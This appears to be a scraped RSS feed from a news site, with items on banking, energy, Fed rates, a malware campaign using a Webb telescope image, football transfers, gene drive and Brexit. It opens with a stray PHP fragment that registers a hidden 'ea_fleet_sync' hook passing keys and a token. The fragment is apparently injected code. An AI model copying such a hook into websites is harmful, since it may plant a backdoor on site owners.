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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Push – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 09:23:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Push – Brief News https://briefnews.eu 32 32 Don McCree is spearheading Citizens Bank’s push into New York. He has just overseen the acquisition of HSBC’s branches in the city, and was in town this week for Citizens’ official launch into the Big Apple. https://briefnews.eu/don-mccree-is-spearheading-citizens-banks-push-into-new-york-he-has-just-overseen-the-acquisition-of-hsbcs-branches-in-the-city-and-was-in-town-this-week-for-citizens-official-launch-into-the/ https://briefnews.eu/don-mccree-is-spearheading-citizens-banks-push-into-new-york-he-has-just-overseen-the-acquisition-of-hsbcs-branches-in-the-city-and-was-in-town-this-week-for-citizens-official-launch-into-the/#respond Fri, 23 Sep 2022 09:23:05 +0000 https://briefnews.eu/don-mccree-is-spearheading-citizens-banks-push-into-new-york-he-has-just-overseen-the-acquisition-of-hsbcs-branches-in-the-city-and-was-in-town-this-week-for-citizens-official-launch-into-the/ Don McCree, Citizens
Don McCree, vice chairman, Citizens Bank

Citizens

  • Insider's Banker of the Week series appears in our weekday newsletter, 10 Things on Wall Street.
  • This week we're highlighting Don McCree, vice chairman and head of commercial banking at Citizens Financial Group.
  • McCree was in New York this week for Citizens official launch in the city. The bank snapped up HSBC’s bank branches, and McCree is confident this boost in retail banking will lead to more business in commercial banking.

Don McCree is extremely bullish on New York.

He calls it the "hole in the donut" for Citizens' deeper push into retail banking. That donut comprises markets like New England and Rhode Island — where Citizens thrives — but that gaping hole is the Big Apple.

So when HSBC decided to exit retail banking in New York, McCree and his fellow Citizens executives pounced. Citizens also acquired Investors Bancorp, a deal that complements the purchase of HSBC's East Coast branches.

The deal for 80 HSBC branches in New York, the Washington D.C area, and Florida wrapped up in February this year, and McCree said those branches have been fully rebranded as Citizens. The acquisition of Investors will lift Citizens' total branch count to more than 200, including locations in New Jersey, Philadelphia, and greater New York.

"The visibility, the brand, this can propel the commercial-banking business," McCree told Insider.

It's exactly this rebranding that has McCree, and an army of Citizens bankers, in New York all week. The bank  — in celebration of its official launch in the city — held events throughout Manhattan, including an immersive experience near the Flatiron building. Citizens has also nabbed Eli Manning as an ambassador as it just became the official bank of the New York Giants.

"Have you ever seen a Citizens sign in New York? It's our official entry into the city," he said.

For McCree, who also spearheads commercial banking, the entry into New York's business community is crucial. He admits that additional branding and moves into retail banking are not necessarily going to move the needle with private-equity clients or large corporates, but there's a window of opportunity to tap the city's small-sized firms, whether they are thriving businesses or companies needling their way out of the pandemic.

"There's so many companies, for example, in lower Manhattan looking for a new bank," McCree said. "And I think New York is really starting to come alive again."

Indeed, New York's economy was severely hamstrung by the pandemic, and for many businesses, they are still feeling the pinch from empty office buildings. But as business leaders push their workforces to come back to the office, McCree is confident that the city will recover.

"This is the city that reinvents itself on a constant basis," he said. "This is a time of change and more opportunities."

The deals for HSBC's and Investors' branches come after a slew of acquisitions tailored to Citizens' corporate and investment-banking efforts. The bank bought boutique firms JMP Group and DH Capital to bolster its advisory capabilities, and in total, Citizens has made six purchases in the last five years, Insider previously reported.

"For me, this expands what I already do. No one had ever heard of us. And now, it's about taking a bank that was centered in New England and moving into higher-growth markets like New York, Texas, and California," McCree said.

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]]> https://briefnews.eu/us-lawmakers-push-tech-firms-on-abortion-benefits-for-gig-workers/feed/ 0 Putin says Russia’s not responsible for the EU’s energy crisis — it just needs to ‘push the button’ on the Nord Stream 2 pipeline to get more natural gas https://briefnews.eu/putin-says-russias-not-responsible-for-the-eus-energy-crisis-it-just-needs-to-push-the-button-on-the-nord-stream-2-pipeline-to-get-more-natural-gas/ https://briefnews.eu/putin-says-russias-not-responsible-for-the-eus-energy-crisis-it-just-needs-to-push-the-button-on-the-nord-stream-2-pipeline-to-get-more-natural-gas/#respond Mon, 19 Sep 2022 05:11:35 +0000 https://briefnews.eu/putin-says-russias-not-responsible-for-the-eus-energy-crisis-it-just-needs-to-push-the-button-on-the-nord-stream-2-pipeline-to-get-more-natural-gas/ Russian President Vladimir Putin
Russian President Vladimir Putin said Europe's "green agenda" started the bloc's energy crisis.

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  • Europe is dependent on Russia for natural gas, but Gazprom has turned off the Nord Stream 1 pipeline.
  • Russian President Putin said the EU just has to turn on Nord Stream 2 for more natural gas.
  • The Nord Stream 2 runs parallel to Nord Stream 1, a key gas pipeline linking Russia and Europe.

Russian President Vladimir Putin denied Russian responsibility for Europe's energy crisis and said the EU can simply turn on the new Nord Stream 2 pipeline if it wants more natural gas from his country.

"The bottom line is, if you have an urge, if it's so hard for you, just lift the sanctions on Nord Stream 2, which is 55 billion cubic metres of gas per year, just push the button and everything will get going," said Putin after the Shanghai Cooperation Organisation summit in Uzbekistan on Friday, per Reuters.

He also criticized the "green agenda" — the EU's renewable energy push — which he said started the energy crisis even before the war in Ukraine.

The Nord Stream 2 natural-gas pipeline runs in parallel to Nord Stream 1, a key pipeline that delivers fuel from Russia to Europe. The $ 11 billion Nord Stream 2 pipeline was completed in September, and stands to double Russia's gas flows to Europe. However, Nord Stream 2 has never been operational because Germany shelved the project in February, days before Russia invaded Ukraine. 

The EU is staring at an energy crisis this coming winter as Russia supplies about 40% of Europe's natural gas, most of which is transported via pipelines. In 2021, Russia exported about 155 billion cubic meters of the fuel to Europe — more than one-third of which came from the Nord Stream 1 pipeline, according to Reuters.

In early September, Russia state gas giant Gazprom completely turned off supply to Europe via Nord Stream 1. Gazprom and the Kremlin have consistently insisted that the slowing of gas flows was due to technical reasons.

Benchmark European natural-gas future have more than doubled from a year ago.

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  • Goldman Sachs raised its forecasts for the size of Fed rate hikes at the September and November meetings. 
  • The investment bank late Wednesday said it now sees a September increase of 75 basis points and a November increase of 50 basis points. 
  • Fed officials have delivered hawkish comments recently that suggest another jumbo-sized move at this month's meeting. 

Goldman Sachs raised its forecasts for interest rate increases at the Federal Reserve's next two meetings as monetary policy makers have been asserting the view that more rate hikes are needed to bring down inflation. 

The investment bank now expects the Federal Open Market Committee to raise the Fed Funds target by 75 basis points in September and by 50 basis points in November. It previously projected increases of 50 and 25 basis points, respectively. 

"[Fed] officials have sounded hawkish recently and have seemed to imply that progress toward taming inflation has not been as uniform or as rapid as they would like," Goldman Sachs chief economist Jan Hatzius said in a late Wednesday note. 

He also outpointed a Wednesday report by The Wall Street Journal that said the Fed appears to be on a path to raise interest rates 75 basis points this month following Chairman Jerome Powell's pledge to reduce inflation even if it increases unemployment.

The WSJ report is "a likely hint from the Fed leadership" that a three-quarter-point percentage increase will take place at the September 20-21 meeting, said Hatzius, adding that hawkishness is overriding the case for slowing the pace of tightening that Powell outlined at the July meeting. 

Goldman expects another rate hike in December, 25 basis points, which would bring the Fed Funds rate to a range of 3.75% to 4% by the end of 2022. The Fed has already raised interest rates four times, to a range of 2.25% to 2.5%. The Fed raised its key rate by 75 basis points at its past two meetings. 

Powell reiterated his anti-inflation message on Thursday at the Cato Institute's 40th Annual Monetary Conference. "I can assure you that my colleagues and I are strongly committed to this project and we will keep at it until the job is done," Powell said, according to CNBC. 

Fed Vice Chair Lael Brainard has also been among the Fed's hawkish voices. "We are in this for as long as it takes to get inflation down," she said in a speech in New York on Wednesday. Cleveland Fed President Loretta Mester also spoke on Wednesday. "I'm not even convinced that inflation's peaked yet," she reportedly said on a Market News International webcast. 

Now pricing in a rate hike path of 75-50-25 points for the next three meetings, Goldman Sachs also said its own financial conditions index has tightened on the hawkish shift in expectations. 

"This should be enough to keep growth on a solidly below-potential path in the second half of 2022. How the drag from tighter financial conditions will net out with other key growth impulses in 2023 is more uncertain, and we could imagine the hiking cycle extending beyond this year," said Hatzius.

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]]> https://briefnews.eu/goldman-sachs-raises-its-fed-rate-hike-forecast-to-75-basis-points-for-september-as-fed-officials-push-hawkish-messages/feed/ 0 A Webb Telescope image is being used to push malware https://briefnews.eu/a-webb-telescope-image-is-being-used-to-push-malware/ https://briefnews.eu/a-webb-telescope-image-is-being-used-to-push-malware/#respond Tue, 06 Sep 2022 02:53:17 +0000 https://briefnews.eu/a-webb-telescope-image-is-being-used-to-push-malware/ One of the first images taken by the James Webb Telescope that was released by NASA was the "sharpest infrared image of the distant universe to date." It's a wondrous photo showing a detailed cluster of galaxies. It's also currently being used by bad actors to infect systems with malware. Security analytics platform Securonix has identified a new malware campaign that uses the image, and the company is calling it the GO#WEBBFUSCATOR.

The attack starts with a phishing email containing a Microsoft Office attachment. Hidden within the document's metadata is a URL that downloads a file with a script, which runs if certain Word macros are enabled. That, in turn, downloads a copy of Webb’s First Deep Field photo (pictured above) that contains as a malicious code masquerading as a certificate. In its report about the campaign, the company said all anti-virus programs were unable to detect the malicious code in the image.

Securonix VP Augusto Barros told Popular Science that there are a couple of possible reasons why the bad actors chose to use the popular James Webb photo. One is that the high-resolution images NASA had released come in massive file sizes and can evade suspicion in that regard. Also, even if an anti-malware program flags it, reviewers might pass it over since it's been widely shared online in the past couple of months. 

Another interesting thing of note about the campaign is that it uses Golang, Google’s open-source programming language, for its malware. Securonix says Golang-based malware are rising in popularity, because they have flexible cross-platform support and are more difficult to analyze and reverse engineer than malware based on other programming languages. Like other malware campaign that starts with a phishing email, though, the best way to avoid being a victim of this attack is to avoid downloading attachments from untrusted sources.

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TRANSFER NEWS LIVE

  • Arsenal transfer target Ivan Perisic asks to leave Inter Milan
  • Atletico Madrid fans do not want flop Chelsea striker Alvaro Morata
  • Callum Hudson-Odoi has handed in a transfer request at Chelsea
  • Manchester United first to move to snap up Steven Bergwijn
  • Liverpool have signed a French gem in Billy Koumetio, claim ESPN

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22:10 UPDATE: Arnautovic discusses new contract

Marko Arnautovic has pledged his commitment to West Ham after signing a new contract.

“I’m happy for this and I want to say to the fans that I’m happy to stay, I glad to play again, show myself and score goals, to make assists, but also to say that the major point is Marko Arnautovic never refused [to play or train]. I would never refuse.

“I’m happy, I’m happy to come to this point.

“I’m happy that this club is improving. Step by step, every week, every month we are seeing some improvement and that’s good.”

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Transfer news LIVE: West Ham playmaker Marko Arnautovic has signed a contract extension (Image: GETTY)

22:05 UPDATE: Arnautovic signs new West Ham contract

Marko Arnautovic has signed a new contract at West Ham in an announcement just minutes after the Hammers crashed out of the FA Cup.

West Ham went down 4-2 at AFC Wimbledon tonight in one of the shocks of the round.

And after the game the Hammers released a statement, which said: ‘West Ham United is pleased to confirm that Marko Arnautovic has signed a contract extension.

‘The Austrian has reiterated his 100 per cent commitment to the Hammers after opting to put an end to speculation linking him with a move to China by extending his deal with the club.’

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Transfer news LIVE: West Ham have battled to keep Marko Arnautovic (right) (Image: GETTY)

21:25 UPDATE: Hudson-Odoi to Bayern latest

Callum Hudson-Odoi has handed in a transfer request at Chelsea.

But how likely are Bayern Munich to get a deal done for the youngster this month?

Well, German newspaper Bild reckon there is a 70 per cent chance that Hudson-Odoi will be a Bayern player come February 1.

It is claimed the playmaker is now waiting for Chelsea’s reaction to the transfer request, in the hope they agree to sell.

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Transfer news LIVE: Chelsea have a decision to make over Callum Hudson-Odoi (Image: GETTY)

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20:30 UPDATE: Chelsea transfer request

Callum Hudson-Odoi has handed in a transfer request after a summit at Chelsea today.

Bayern Munich have bid £35m for teenager Hudson-Odoi but Chelsea are yet to accept the offer.

And the Sun claim the player has made a move to try and force through the deal before Thursday’s transfer deadline.

It is claimed discussions with Chelsea bosses on Saturday evening have resulted in Hudson-Odoi requesting to leave.

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Transfer news LIVE: Chelsea gem Callum Hudson-Odoi has asked to leave the club (Image: GETTY)

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20:00 UPDATE: Liverpool done deal

Liverpool have signed French youngster Billy Koumetio from US Orleans.

ESPN claim the deal has been completed and the 16-year-old will head to the Reds academy.

Liverpool are yet to splash the cash in January as they target a first ever Premier League crown.

And manager Jurgen Klopp clearly sees Koumetio as one for the future, with the youngster all set to head to Melwood.

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Transfer news LIVE: Liverpool have signed Billy Koumetio (Image: TWITTER)

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19:15 UPDATE: Tottenham move for Jonas Hofmann

Tottenham are in talks with Borussia Monchengladbach over a deal for Jonas Hofmann.

Bill claim the north London club are gunning for a deal this month.

Manager Mauricio Pochettino is even ready to pay Hofmann a top wage at Spurs.

And discussions are tipped to continue into next week, with the transfer deadline coming on Thursday.

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Transfer news LIVE: Tottenham want to sign Jonas Hofmann (Image: GETTY)

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18:50 UPDATE: Tottenham make Eriksen decision

Tottenham are ready to increase the asking price of their star man Christian Eriksen – after hearing how much Barcelona are paying for Frenkie De Jong.

Barca have agreed a £65m deal for De Jong, who will move to the Nou Camp from Ajax at the end of the season.

And Spanish newspaper AS claim Spurs are ready to raise their valuation of Eriksen so that suitors Real Madrid pay the going rate.

Ideally the north London club would not sell Eriksen – but the Dane is yet to sign a new contract.

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Transfer news LIVE: Tottenham are set to raise their asking price for Christian Eriksen (Image: GETTY)

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18:35 UPDATE: Messi intervention

Lionel Messi personally called Frenkie De Jong to aid the Dutchman’s transfer from Ajax to Barcelona.

De Jong has agreed a £65m move to Barca and will join them in the summer after a chat with Messi.

“Lionel Messi personally called Frenkie,” his father said.

“It was difficult because Messi does not speak English.”

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Transfer news LIVE: Barcelona have signed Frenkie De Jong (Image: GETTY)

18:20 UPDATE: Perisic wants Arsenal

Inter Milan star Ivan Perisic has handed in a transfer request – as Arsenal target the playmaker.

Perisic remained at Inter over the summer despite keen interest from Arsenal’s rivals Manchester United.

But with the Gunners ready to launch a move for the Croatia international, Perisic has requested to leave the San Siro in an attempt to get the deal done this month.

Calciomercato claim the 29-year-old has asked manager Luciano Spalletti for permission to speak to Arsenal.

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Transfer news LIVE: Morata and Perisic could be on the move (Image: GETTY)

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Transfer news LIVE: Ivan Perisic (right) wants to join Arsenal (Image: GETTY)

18:00 UPDATE: Man Utd make their move

want to beat Bayern Munich to PSV sensation Steven Bergwijn.

And the Red Devils have asked the Dutch club to let them know first if PSV decide to sell up.

Liverpool and Inter Milan have also been tracking Bergwijn but United are desperate to get the job done.

United had a scout watching his performance in the 2-2 draw against FC Emmen last weekend.

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17:45 UPDATE: Chelsea deal off?

Atletico Madrid fans do not want their club to sign Chelsea striker Alvaro Morata.

Atletico and have been in talks over a deal for Morata this month.

But fans in Madrid would prefer Borja Garces to get a chance up front for Atletico.

During their game with Getafe today, Atleti fans chanted: “Less Morata, more Borja Garces.”

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Transfer news LIVE: Atletico fans do not want Alvaro Morata to join from Chelsea (Image: GETTY)

17:20 UPDATE: Barcelona beat Liverpool

Barcelona have beaten fellow suitors Liverpool to the signing of Brazilian right-back Emerson.

But the move is complicated, with Marca claiming Real Betis and Barca have struck a joint deal to snap up the 20-year-old.

Emerson will join Betis but Barca have paid part of his transfer fee, in order to secure first refusal to any move in the future.

Liverpool reportedly had scouts watching Emerson over the past few months but a deal with Betis is now in place.

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17:00 UPDATE: Leeds eye big deal

Leeds United want to sign Ivan Cavaleiro from Wolves.

That is according to Birmingham Live, who claim the West Yorkshire club could make an offer for Cavaleiro before the month is out.

Leeds are gunning for promotion this season and Cavaleiro, 25, has made just 16 appearances for Wolves this term.

He was part of their Premier League promotion campaign last season and the playmaker could be given the chance to play elsewhere if a suitable offer comes in.

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Gene drive is both a promising and disturbing technology. It allows us to engineer a stretch of DNA that, once inserted in a specific location in an organism’s genome, will convert other versions of the gene so that they also carry the insert. Once started in a population, gene drive will convert the entire population within a relatively short number of generations.

That’s promising, in that it opens the door to editing mosquitos to cause sterility to spread through a population, eliminating the spread of diseases and a fair bit of itching. But it’s also a genie that, once out of the bottle, appears to be impossible to put back—and hence is disturbing. But so far, there has been a small consolation: it has only been shown to work in insects.

Now, a large research team at the University of California, San Diego, has managed to get it working in mice. Sort of. It turns out that the efficiency is much lower. While the gene drive DNA is inherited at rates well above normal Mendel-style inheritance, it’s nowhere near as effective as in insects, and it’s not clear we know how to fix it.

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]]> https://briefnews.eu/researchers-get-gene-drive-to-push-mice-beyond-mendel/feed/ 0 Inside the People’s Vote campaign final push to stop Brexit https://briefnews.eu/inside-the-peoples-vote-campaign-final-push-to-stop-brexit/ https://briefnews.eu/inside-the-peoples-vote-campaign-final-push-to-stop-brexit/#respond Wed, 26 Dec 2018 11:57:42 +0000 http://briefnews.eu/inside-the-peoples-vote-campaign-final-push-to-stop-brexit/ Chuka Umunna Anna Soubry People's VoteNicola Tree/Getty Images

  • The People’s Vote campaign is preparing for the key months ahead in its mission to stop Brexit in 2019.
  • The campaign expects two Conservative MPs, including a current minister, to join next month.
  • One of the campaign’s leading groups has set up a unit for creating ads targeted at constituencies.
  • The unit — known as “Pod” — has strategists with experience of working for David Cameron and Barak Obama.
  • Theresa May has consistently ruled out another referendum.
  • However, with MPs almost certain to vote down her Brexit deal and time running out, many believe the prime minister may be left with no choice but to hold one.

LONDON — The People’s Vote campaign for a second Brexit referendum is on the brink of recruiting at least two Conservative MPs, including one government minister, as it prepares for a pivotal few months in its mission to stop the UK leaving the European Union.

The campaign is gaining momentum amid increasing uncertainty over Brexit. The number of MPs behind it is growing and Theresa May is now a regular user of the term “People’s Vote.”

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]]> https://briefnews.eu/inside-the-peoples-vote-campaign-final-push-to-stop-brexit/feed/ 0 Ghosn’s U.S. Push Irked Nissan Executives https://briefnews.eu/ghosns-u-s-push-irked-nissan-executives/ https://briefnews.eu/ghosns-u-s-push-irked-nissan-executives/#respond Wed, 19 Dec 2018 22:58:30 +0000 http://briefnews.eu/ghosns-u-s-push-irked-nissan-executives/ Carlos Ghosn’s drive to increase Nissan’s market share in the U.S. created tension with the company’s management, who felt his push came at the expense of investing in Japan.

]]> https://briefnews.eu/ghosns-u-s-push-irked-nissan-executives/feed/ 0 Red-hot Stamkos notches hat trick to push past 700 career points https://briefnews.eu/red-hot-stamkos-notches-hat-trick-to-push-past-700-career-points/ https://briefnews.eu/red-hot-stamkos-notches-hat-trick-to-push-past-700-career-points/#respond Tue, 11 Dec 2018 11:18:28 +0000 http://briefnews.eu/red-hot-stamkos-notches-hat-trick-to-push-past-700-career-points/

Steven Stamkos and the Tampa Bay Lightning are piling up points.

Stamkos had three goals to become the first player from the 2008 draft to reach 700 points, and the NHL-leading Lightning won their seventh consecutive game by beating the New York Rangers 6-3 on Monday night.

​"Stammer is finding his groove," Tampa Bay coach Jon Cooper said.

Stamkos scored power-play goals that tied the game in the first and second periods. The centre completed his ninth hat trick and first since Oct. 13, 2014, against Montreal from the slot at 10:41 of the third.

"I knew it had been a while," Stamkos said with a laugh. "I don't know the exact date . I don't want to hear it."

The Lightning star, coming off a two-goal, two-assist outing in Saturday night's 7-1 win over the Colorado Avalanche, has 701 points in 696 career games. He joins Martin St. Louis (953) and Vincent Lecavalier (874) as the only Tampa Bay players reaching the 700-point milestone.

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Ryan McDonagh had a go-ahead goal, Anthony Cirelli had the other two Tampa Bay goals, and Louis Domingue made 23 saves.

Kevin Hayes had two goals and Jesper Fast also scored for the Rangers, who have lost six of eight (2-5-1). Henrik Lundqvist stopped 30 shots.

"To be able to beat some of the best teams, you have play really strict and smart, and make the right decision with or without the puck," Lundqvist said. "So, the next time we play a top team like this we need to do all those things."

New York defenceman Kevin Shattenkirk left in the second period with an upper-body injury. He took a check around the left shoulder and had a sling on his left arm postgame.

Rangers coach David Quinn had no update after the game on Shattenkirk, who will be evaluated Tuesday.

Stamkos scored from the left circle while falling down at 6:19 of the second before McDonagh put Tampa Bay up 3-2 with 7:18 left in the period.

"Nothing kind of seems to phase us," McDonagh said.

Cirelli extended his goal streak to three games 24 seconds before Stamkos' third goal of the goal.

Fast and Cirelli, with an empty-netter, had late third-period goals.

The Rangers took a 1-0 lead 12:19 into the game when Hayes had a backhander from the left circle deflect off McDonagh's skate.

After Stamkos scored at 14:09 of the first, Hayes made it 2-1 with a rebound goal just 58 seconds later.

The Lightning went 2 for 6 with the man advantage.

"Take that many penalties, you're not going to beat Tampa," Lundqvist said. "That's just the way it is. We can work really hard and do a lot of good things but it's too important in the game. Hopefully we really learned a lesson."

New York failed to score on its lone power-play.

"Ten minutes extra killing penalties is just not a recipe to have success in this league or any league really," Quinn said.

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